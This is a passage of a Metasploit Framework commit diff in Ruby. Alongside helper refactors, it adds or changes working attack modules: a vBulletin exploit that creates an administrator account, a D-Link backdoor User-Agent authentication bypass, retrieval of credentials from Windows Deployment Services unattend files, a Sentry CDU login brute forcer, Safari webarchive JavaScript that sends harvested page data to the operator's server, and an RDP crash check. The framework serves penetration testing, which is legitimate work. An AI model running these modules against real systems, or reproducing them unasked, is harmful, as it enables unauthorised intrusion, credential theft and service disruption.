"\x00"*16, # Reserved
].pack('vvVa16a16')
end
end
end
end
end
end

View File

@ -66,6 +66,13 @@ class Rex::RandomIdentifierGenerator
#}
end
# Returns the @value_by_name hash
#
# @return [Hash]
def to_h
return @value_by_name
end
# Return a unique random identifier for +name+, generating a new one
# if necessary.
#
@ -82,6 +89,7 @@ class Rex::RandomIdentifierGenerator
@value_by_name[name]
end
alias [] get
alias init_var get
# Add a new identifier. Its name will be checked for uniqueness among
# previously-generated names.

View File

@ -131,8 +131,8 @@ class Rex::Socket::Comm::Local
# Force IPv6 mode for non-connected UDP sockets
if (type == ::Socket::SOCK_DGRAM and not param.peerhost)
# FreeBSD allows IPv6 socket creation, but throws an error on sendto()
if (not Rex::Compat.is_freebsd())
# Windows 7 SP1 and newer also fail to sendto with IPv6 udp sockets
unless Rex::Compat.is_freebsd or Rex::Compat.is_windows
usev6 = true
end
end

View File

@ -61,24 +61,14 @@ class Event
# Waits for the event to become signaled. Timeout is measured in
# seconds. Raises TimeoutError if the condition does not become signaled.
#
begin
# XXX: we need to replace this code
# continuations slow down YARV
require "continuation" if not defined? callcc
rescue ::LoadError
end
def wait(t = Infinite)
callcc { |ctx|
self.mutex.synchronize {
ctx.call if (self.state == true)
break if (self.state == true)
Timeout.timeout(t) {
self.cond.wait(self.mutex)
}
}
}
return self.param
end

View File

@ -45,10 +45,6 @@ class Metasploit4 < Msf::Auxiliary
], self.class)
end
def rport
datastore['RPORT']
end
def run_host(ip)
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
soapenvenc='http://schemas.xmlsoap.org/soap/encoding/'

View File

@ -0,0 +1,101 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'vBulletin Administrator Account Creation',
'Description' => %q{
This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to
create a new administrator account, as exploited in the wild on October 2013. This module
has been tested successfully on vBulletin 4.1.5 and 4.1.0.
},
'Author' =>
[
'Unknown', # Vulnerability discoverer? found in the wild
'juan vazquez' #metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.net-security.org/secworld.php?id=15743' ],
[ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']
],
'DisclosureDate' => 'Oct 09 2013'))
register_options(
[
OptString.new('TARGETURI', [ true, "The vbulletin URI", '/']),
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
], self.class)
end
def user
datastore["USERNAME"]
end
def pass
datastore["PASSWORD"]
end
def run
if user == pass
print_error("#{peer} - Please select a password different than the username")
return
end
print_status("#{peer} - Trying a new admin vBulletin account...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "install", "upgrade.php"),
'method' =>'POST',
'vars_post' => {
"version" => "install",
"response" => "true",
"checktable" => "false",
"firstrun" => "false",
"step" => "7",
"startat" => "0",
"only" => "false",
"options[skiptemplatemerge]" => "0",
"reponse" => "yes",
"htmlsubmit" => "1",
"htmldata[username]" => user,
"htmldata[password]" => pass,
"htmldata[confirmpassword]" => pass,
"htmldata[email]" => datastore["EMAIL"]
},
'headers' => {
"X-Requested-With" => "XMLHttpRequest"
}
})
if res and res.code == 200 and res.body =~ /Administrator account created/
print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'http',
:user => user,
:pass => pass,
:active => true,
:proof => res.body
)
else
print_error("#{peer} - Admin account creation failed")
end
end
end

View File

@ -41,10 +41,6 @@ class Metasploit4 < Msf::Auxiliary
register_autofilter_ports([ 50013 ])
end
def rport
datastore['RPORT']
end
def run_host(ip)
# Check version information to confirm Win/Lin

View File

@ -38,14 +38,6 @@ class Metasploit3 < Msf::Auxiliary
end
def rport
datastore['RPORT']
end
def peer
"#{rhost}:#{rport}"
end
def run
record = "<RECORD>"
record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation

View File

@ -54,6 +54,7 @@ class Metasploit3 < Msf::Auxiliary
def is_rdp_up
begin
connect
disconnect
return true
rescue Rex::ConnectionRefused
return false
@ -138,15 +139,24 @@ class Metasploit3 < Msf::Auxiliary
"\x02\xF0\x80" + # X.224
"\x21\x80" # T.125
unless is_rdp_up
print_error("#{rhost}:#{rport} - RDP Service Unreachable")
return
end
connect
print_status("#{rhost}:#{rport} - Sending #{self.name}")
sock.put(pkt)
select(nil, nil, nil, 3)
Rex.sleep(3)
disconnect
print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent")
print_status("#{rhost}:#{rport} - Checking RDP status...")
if not is_rdp_up
if is_rdp_up
print_error("#{rhost}:#{rport} - RDP Service Unreachable")
return
else
print_good("#{rhost}:#{rport} seems down")
report_vuln({
:host => rhost,
@ -155,9 +165,8 @@ class Metasploit3 < Msf::Auxiliary
:refs => self.references,
:info => "Module #{self.fullname} successfully crashed the target system via RDP"
})
else
print_status("#{rhost}:#{rport} is still up")
end
end
end

View File

@ -12,6 +12,7 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
# [Array<Array<Hash>>] list of poisonable scripts per user-specified URLS
attr_accessor :scripts_to_poison
@ -177,17 +178,39 @@ class Metasploit3 < Msf::Auxiliary
def on_request_uri(cli, request)
begin
data = if request.body.size > 0
data_str = if request.body.size > 0
request.body
else
request.qstring['data']
end
data = JSON::parse(data || '')
print_status "Received data: #{data}"
rescue # json error, dismiss request & keep crit. server up
data = JSON::parse(data_str || '')
file = record_data(data, cli)
send_response_html(cli, '')
print_good "#{data_str.length} chars received and stored to #{file}"
rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
print_error "Invalid JSON received: #{data_str}"
send_not_found(cli)
end
end
# @param [Hash] data the data to store in the log
# @return [String] filename where we are storing the data
def record_data(data, cli)
@client_cache ||= Hash.new({})
@client_cache[cli.peerhost]['file'] ||= store_loot(
"safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data"
)
file = @client_cache[cli.peerhost]['file']
@client_cache[cli.peerhost]['data'] ||= []
@client_cache[cli.peerhost]['data'].push(data)
data_str = JSON.generate(@client_cache[cli.peerhost]['data'])
File.write(file, data_str)
file
end
### ASSEMBLE THE WEBARCHIVE XML ###
# @return [String] contents of webarchive as an XML document
@ -531,9 +554,11 @@ class Metasploit3 < Msf::Auxiliary
var sent = false;
req.open('GET', '#{url}', true);
req.onreadystatechange = function() {
if (!sent) {
sendData('response_headers', req.getAllResponseHeaders());
sendData('response_body', req.responseText);
if (req.readyState==4 && !sent) {
sendData('#{url}', {
response_headers: req.getAllResponseHeaders(),
response_body: req.responseText
});
sent = true;
}
};
@ -647,8 +672,7 @@ class Metasploit3 < Msf::Auxiliary
%Q|
window.sendData = function(key, val) {
var data = {};
if (key && val) data[key] = val;
if (!val) data = key;
data[key] = val;
window.top.postMessage(JSON.stringify(data), "*")
};
|

View File

@ -50,10 +50,6 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
def peer
"#{datastore['RHOST']}:#{datastore['RPORT']}"
end
def fingerprint(response)
if(response.headers.has_key?('Server') )

View File

@ -124,6 +124,7 @@ class Metasploit3 < Msf::Auxiliary
query = @res.search(host, "A")
if query
query.answer.each do |rr|
next unless rr.type == "A"
record = {}
record[:host] = host
record[:type] = "A"
@ -134,6 +135,7 @@ class Metasploit3 < Msf::Auxiliary
query1 = @res.search(host, "AAAA")
if query1
query1.answer.each do |rr|
next unless rr.type == "AAAA"
record = {}
record[:host] = host
record[:type] = "AAAA"
@ -189,6 +191,7 @@ class Metasploit3 < Msf::Auxiliary
query = @res.query(target, "TXT")
return results if not query
query.answer.each do |rr|
next unless rr.type == "TXT"
record = {}
record[:host] = target
record[:text] = rr.txt

View File

@ -41,10 +41,6 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def execute_php_code(code, opts = {})
param_name = Rex::Text.rand_text_alpha(6)
padding = Rex::Text.rand_text_alpha(6)

View File

@ -47,10 +47,6 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def get_domain_info(session)
res = send_request_cgi({
'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet",

View File

@ -0,0 +1,71 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/parser/unattend'
class Metasploit3 < Msf::Auxiliary
def initialize(info={})
super( update_info( info,
'Name' => 'Auxilliary Parser Windows Unattend Passwords',
'Description' => %q{
This module parses Unattend files in the target directory.
See also: post/windows/gather/enum_unattend
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
],
'References' =>
[
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
['URL', 'http://technet.microsoft.com/en-us/library/c026170e-40ef-4191-98dd-0b9835bfa580']
],
))
register_options([
OptPath.new('PATH', [true, 'Directory or file to parse.']),
OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]),
])
end
def run
if datastore['RECURSIVE']
ext = "**/*.xml"
else
ext = "/*.xml"
end
if datastore['PATH'].ends_with('.xml')
filepath = datastore['PATH']
else
filepath = File.join(datastore['PATH'], ext)
end
Dir.glob(filepath) do |item|
print_status "Processing #{item}"
file = File.read(item)
begin
xml = REXML::Document.new(file)
rescue REXML::ParseException => e
print_error("#{item} invalid xml format.")
vprint_line(e.message)
next
end
results = Rex::Parser::Unattend.parse(xml)
table = Rex::Parser::Unattend.create_table(results)
print_line table.to_s unless table.nil?
print_line
end
end
end

View File

@ -0,0 +1,232 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/proto/dcerpc'
require 'rex/proto/dcerpc/wdscp'
require 'rex/parser/unattend'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
DCERPCPacket = Rex::Proto::DCERPC::Packet
DCERPCClient = Rex::Proto::DCERPC::Client
DCERPCResponse = Rex::Proto::DCERPC::Response
DCERPCUUID = Rex::Proto::DCERPC::UUID
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',
'Description' => %q{
This module retrieves the client unattend file from Windows
Deployment Services RPC service and parses out the stored credentials.
Tested against Windows 2008 R2 x64 and Windows 2003 x86.
},
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html']
],
))
register_options(
[
Opt::RPORT(5040),
], self.class)
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
register_advanced_options(
[
OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
], self.class)
end
def run_host(ip)
begin
query_host(ip)
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError => e
print_error("#{ip}:#{rport} Connection Error: #{e}")
ensure
# Ensure socket is pulled down afterwards
self.dcerpc.socket.close rescue nil
self.dcerpc = nil
self.handle = nil
end
end
def query_host(rhost)
# Create a handler with our UUID and Transfer Syntax
self.handle = Rex::Proto::DCERPC::Handle.new(
[
WDS_CONST::WDSCP_RPC_UUID,
'1.0',
],
'ncacn_ip_tcp',
rhost,
[datastore['RPORT']]
)
print_status("Binding to #{handle} ...")
self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
vprint_good("Bound to #{handle}")
report_service(
:host => rhost,
:port => datastore['RPORT'],
:proto => 'tcp',
:name => "dcerpc",
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
)
table = Rex::Ui::Text::Table.new({
'Header' => 'Windows Deployment Services',
'Indent' => 1,
'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']
})
creds_found = false
WDS_CONST::ARCHITECTURE.each do |architecture|
if architecture[0] == :ARM && !datastore['ENUM_ARM']
vprint_status "Skipping #{architecture[0]} architecture due to adv option"
next
end
begin
result = request_client_unattend(architecture)
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
vprint_error(e.to_s)
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
return nil
end
unless result.nil?
loot_unattend(architecture[0], result)
results = parse_client_unattend(result)
results.each do |result|
unless result.empty?
if result['username'] and result['password']
print_good("Retrived #{result['type']} credentials for #{architecture[0]}")
creds_found = true
domain = ""
domain = result['domain'] if result['domain']
report_creds(domain, result['username'], result['password'])
table << [architecture[0], result['type'], domain, result['username'], result['password']]
end
end
end
end
end
if creds_found
print_line
table.print
print_line
else
print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")
end
end
def request_client_unattend(architecture)
# Construct WDS Control Protocol Message
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
guid = Rex::Text.rand_text_hex(32)
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid)
# Not sure what this padding is for...
mac = [0x30].pack('C') * 20
mac << Rex::Text.rand_text_hex(12)
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac)
arch = [architecture[1]].pack('C')
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch)
version = [1].pack('V')
packet.add_var( WDS_CONST::VAR_NAME_VERSION, version)
wdsc_packet = packet.create
vprint_status("Sending #{architecture[0]} Client Unattend request ...")
dcerpc.call(0, wdsc_packet, false)
timeout = datastore['DCERPC::ReadTimeout']
response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout)
if (response and response.stub_data)
vprint_status('Received response ...')
data = response.stub_data
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
op_error_code = data.unpack('v*')[19]
if op_error_code == 0
if data.length < 277
vprint_error("No Unattend received for #{architecture[0]} architecture")
return nil
else
vprint_status("Received #{architecture[0]} unattend file ...")
return extract_unattend(data)
end
else
vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
return nil
end
end
end
def extract_unattend(data)
start = data.index('<?xml')
finish = data.index('</unattend>')
if start and finish
finish += 10
return data[start..finish]
else
print_error("Incomplete transmission or malformed unattend file.")
return nil
end
end
def parse_client_unattend(data)
begin
xml = REXML::Document.new(data)
return Rex::Parser::Unattend.parse(xml).flatten
rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
return nil
end
end
def loot_unattend(archi, data)
return if data.empty?
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
print_status("Raw version of #{archi} saved as: #{p}")
end
def report_creds(domain, user, pass)
report_auth_info(
:host => rhost,
:port => 4050,
:sname => 'dcerpc',
:proto => 'tcp',
:source_id => nil,
:source_type => "aux",
:user => "#{domain}\\#{user}",
:pass => pass)
end
end

View File

@ -52,10 +52,6 @@ class Metasploit4 < Msf::Auxiliary
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def run_host(ip)
uri = normalize_uri(target_uri.path)
res = send_request_cgi({

View File

@ -39,10 +39,6 @@ class Metasploit4 < Msf::Auxiliary
deregister_options('RHOST')
end
def peer
"#{rhost}:#{rport}"
end
def run_host(rhost)
url = normalize_uri(datastore['URI'], '/index.php/members')

View File

@ -0,0 +1,90 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'DLink User-Agent Backdoor Scanner',
'Description' => %q{
This module attempts to find DLink devices running Alphanetworks web interfaces affected
by the backdoor found on the User-Agent header. This module has been tested successfully
on a DIR-100 device with firmware version v1.13.
},
'Author' =>
[
'Craig Heffner', # vulnerability discovery
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ]
],
# First documented in detail by Craig, but looks like it's been known
# (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru
'DisclosureDate' => "Oct 12 2013"
)
end
def is_alpha_web_server?
begin
res = send_request_cgi({'uri' => '/'})
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return false
end
# Signatures:
# * httpd-alphanetworks/2.23
# * Alpha_webserv
if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i
return true
end
return false
end
def run_host(ip)
if is_alpha_web_server?
vprint_good("#{ip} - Alphanetworks web server detected")
else
vprint_error("#{ip} - Alphanetworks web server doesn't detected")
return
end
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'agent' => 'xmlset_roodkcableoj28840ybtide'
})
rescue ::Rex::ConnectionError
vprint_error("#{ip}:#{rport} - Failed to connect to the web server")
return
end
# DIR-100 device with firmware version v1.13
# not sure if this matches on other devices
# TODO: Testing on other devices
if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/
print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"")
end
end
end

View File

@ -48,10 +48,6 @@ class Metasploit4 < Msf::Auxiliary
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def run_host(ip)
@peer = "#{rhost}:#{rport}"
@uri = normalize_uri(target_uri.path)

View File

@ -49,10 +49,6 @@ class Metasploit4 < Msf::Auxiliary
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def run_host(ip)
@peer = "#{rhost}:#{rport}"
@uri = normalize_uri(target_uri.path)

View File

@ -48,10 +48,6 @@ class Metasploit4 < Msf::Auxiliary
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def run_host(ip)
@peer = "#{rhost}:#{rport}"
@uri = normalize_uri(target_uri.path)

View File

@ -37,11 +37,6 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def anonymous_access?
res = send_request_raw({'uri' => '/'})
return true if res and res.body =~ /username = "hpsmh_anonymous"/

View File

@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'HTTP Version Detection',
'Description' => 'Display version information about each system',
'Description' => 'Display version information about each system.',
'Author' => 'hdm',
'License' => MSF_LICENSE
)

View File

@ -29,10 +29,6 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
def peer
return "#{rhost}:#{rport}"
end
def run_host(ip)
tpath = normalize_uri(target_uri.path)
if tpath[-1,1] != '/'

View File

@ -31,10 +31,6 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
def peer
return "#{rhost}:#{rport}"
end
def run_host(ip)
tpath = normalize_uri(target_uri.path)
if tpath[-1,1] != '/'

View File

@ -30,10 +30,6 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
def peer
return "#{rhost}:#{rport}"
end
def os_fingerprint(response)
if not response.headers.has_key?('Server')
return "Unkown OS (No Server Header)"

View File

@ -56,14 +56,6 @@ class Metasploit4 < Msf::Auxiliary
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def peer(rhost)
"#{rhost}:#{rport}"
end
def get_first_session
res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s, "index.php"),

View File

@ -46,14 +46,6 @@ class Metasploit4 < Msf::Auxiliary
end
def rport
datastore['RPORT']
end
def peer
"#{rhost}:#{rport}"
end
def run_host(ip)
traversal = "..\\" * datastore['DEPTH']

View File

@ -47,14 +47,6 @@ class Metasploit4 < Msf::Auxiliary
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def peer
"#{rhost}:#{rport}"
end
def run_host(ip)
record = "<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>#{datastore['RFILE']}</PATH></RECORD>"

View File

@ -32,10 +32,6 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
def peer
return "#{rhost}:#{rport}"
end
def run_host(ip)
File.open(datastore['TARGETURIS'], 'rb').each_line do |line|
test_uri = line.chomp

View File

@ -37,10 +37,6 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def run_host(ip)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI'], "/services/listServices"),

View File

@ -0,0 +1,112 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Sentry Switched CDU Bruteforce Login Utility',
'Description' => %{
This module scans for ServerTech's Sentry Switched CDU (Cabinet Power
Distribution Unit) web login portals, and performs login brute force
to identify valid credentials.
},
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]),
OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"])
], self.class)
end
def run_host(ip)
unless is_app_sentry?
print_error("#{rhost}:#{rport} - Sentry Switched CDU not found. Module will not continue.")
return
end
print_status("#{rhost}:#{rport} - Starting login brute force...")
each_user_pass do |user, pass|
do_login(user, pass)
end
end
#
# What's the point of running this module if the app actually isn't Sentry
#
def is_app_sentry?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return false
end
if (res and res.body.include?("Sentry Switched CDU"))
vprint_good("#{rhost}:#{rport} - Running ServerTech Sentry Switched CDU")
return true
else
return false
end
end
#
# Brute-force the login page
#
def do_login(user, pass)
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
begin
res = send_request_cgi(
{
'uri' => '/index.html',
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})
if (res and res.headers['Set-Cookie'])
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_hash = {
:host => rhost,
:port => rport,
:sname => 'ServerTech Sentry Switched CDU',
:user => user,
:pass => pass,
:active => true,
:type => 'password'
}
report_auth_info(report_hash)
return :next_user
else
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
return :abort
end
end
end

View File

@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary
sqlmap_url << "://"
sqlmap_url << wmap_target_host
sqlmap_url << ":"
sqlmap_url << wmap_target_port
sqlmap_url << wmap_target_port.to_s
sqlmap_url << "/"
sqlmap_url << datastore['PATH']

View File

@ -51,12 +51,6 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('RHOST')
end
def peer
"#{rhost}:#{rport}"
end
def auth(username, password, sid, last_login)
res = send_request_cgi({
'method' => 'POST',

View File

@ -0,0 +1,382 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rexml/document'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'SAP Host Agent Information Disclosure',
'Description' => %q{
This module attempts to retrieve Computer and OS info from Host Agent
through the SAP HostControl service.
},
'References' =>
[
# General
['CVE', '2013-3319'],
['OSVDB', '95616'],
['BID', '61402'],
['URL', 'https://service.sap.com/sap/support/notes/1816536'],
['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/']
],
'Author' =>
[
'Bruno Morisson <bm[at]integrity.pt>' # Discovery and msf module
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(1128)
], self.class)
register_autofilter_ports([1128])
end
def initialize_tables
@computer_table = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "Remote Computer Listing",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
"Names",
"Hostnames",
"IPAddresses"
])
@os_table = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "Remote OS Listing",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
"Name",
"Type",
"Version",
"TotalMemSize",
"Load Avg 1m",
"Load Avg 5m",
"Load Avg 15m",
"CPUs",
"CPU User",
"CPU Sys",
"CPU Idle"
])
@net_table = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "Network Port Listing",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
"ID",
"PacketsIn",
"PacketsOut",
"ErrorsIn",
"ErrorsOut",
"Collisions"
])
@process_table = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "Remote Process Listing",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
"Name",
"PID",
"Username",
"Priority",
"Size",
"Pages",
"CPU",
"CPU Time",
"Command"
])
@fs_table = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "Remote Filesystem Listing",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
"Name",
"Size",
"Available",
"Remote"
])
@net_table = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "Network Port Listing",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
"ID",
"PacketsIn",
"PacketsOut",
"ErrorsIn",
"ErrorsOut",
"Collisions"
])
end
# Parses an array of mProperties elements. For every mProperties element,
# if there is an item with mValue ITSAMComputerSystem, then collect the
# values for the items with mName in (Name, Hostnames, IPAdresses)
def parse_computer_info(data)
success = false
data.each do |properties|
name, hostnames, addresses = ""
if properties.get_elements("item//mValue[text()=\"ITSAMComputerSystem\"]").empty?
next
end
item_list = properties.get_elements("item")
item_list.each do |item|
item_name = item.get_elements("mName").first.text
item_value = item.get_elements("mValue").first.text
case item_name
when "Name"
name = item_value
when "Hostnames"
hostnames = item_value
when "IPAdresses"
addresses = item_value
end
end
@computer_table << [name, hostnames, addresses]
success = true
end
return success
end
# Get the mValues of every item
def parse_values(data, ignore)
values = []
item_list = data.get_elements("item")
item_list.each do |item|
value_item = item.get_elements("mValue")
if value_item.empty?
value = ""
else
value = value_item.first.text
end
if value == ignore
next
end
values << value
end
return values
end
# Parses an array of mProperties elements and get the interesting info
# including ITSAMOperatingSystem, ITSAMOSProcess, ITSAMFileSystem and
# ITSAMNetworkPort properties.
def parse_detailed_info(data)
data.each do |properties|
if not properties.get_elements("item//mValue[text()=\"ITSAMOperatingSystem\"]").empty?
values = parse_values(properties, "ITSAMOperatingSystem")
parse_os_info(values)
end
if not properties.get_elements("item//mValue[text()=\"ITSAMOSProcess\"]").empty?
values = parse_values(properties, "ITSAMOSProcess")
parse_process_info(values)
end
if not properties.get_elements("item//mValue[text()=\"ITSAMFileSystem\"]").empty?
values = parse_values(properties, "ITSAMFileSystem")
parse_fs_info(values)
end
if not properties.get_elements("item//mValue[text()=\"ITSAMNetworkPort\"]").empty?
values = parse_values(properties, "ITSAMNetworkPort")
parse_net_info(values)
end
end
end
def parse_os_info(os_info)
@os_table << [
os_info[0], # OS name
os_info[1], # OS type
os_info[2], # OS Version
os_info[7], # Total Memory
os_info[11], # Load Average (1m)
os_info[12], # Load Average (5m)
os_info[13], # Load Average (15m)
os_info[17], # Number of CPUs / Cores
os_info[18]+'%', # CPU usage (User)
os_info[19]+'%', # CPU usage (system)
os_info[20]+'%' # CPU idle
]
end
def parse_process_info(process_info)
@process_table << [
process_info[0], # Process name
process_info[1], # PID
process_info[2], # Username
process_info[3], # Priority
process_info[4], # Mem size
process_info[5], # pages
process_info[6]+'%', # CPU usage
process_info[7], # CPU time
process_info[8] # Command
]
end
def parse_fs_info(fs_info)
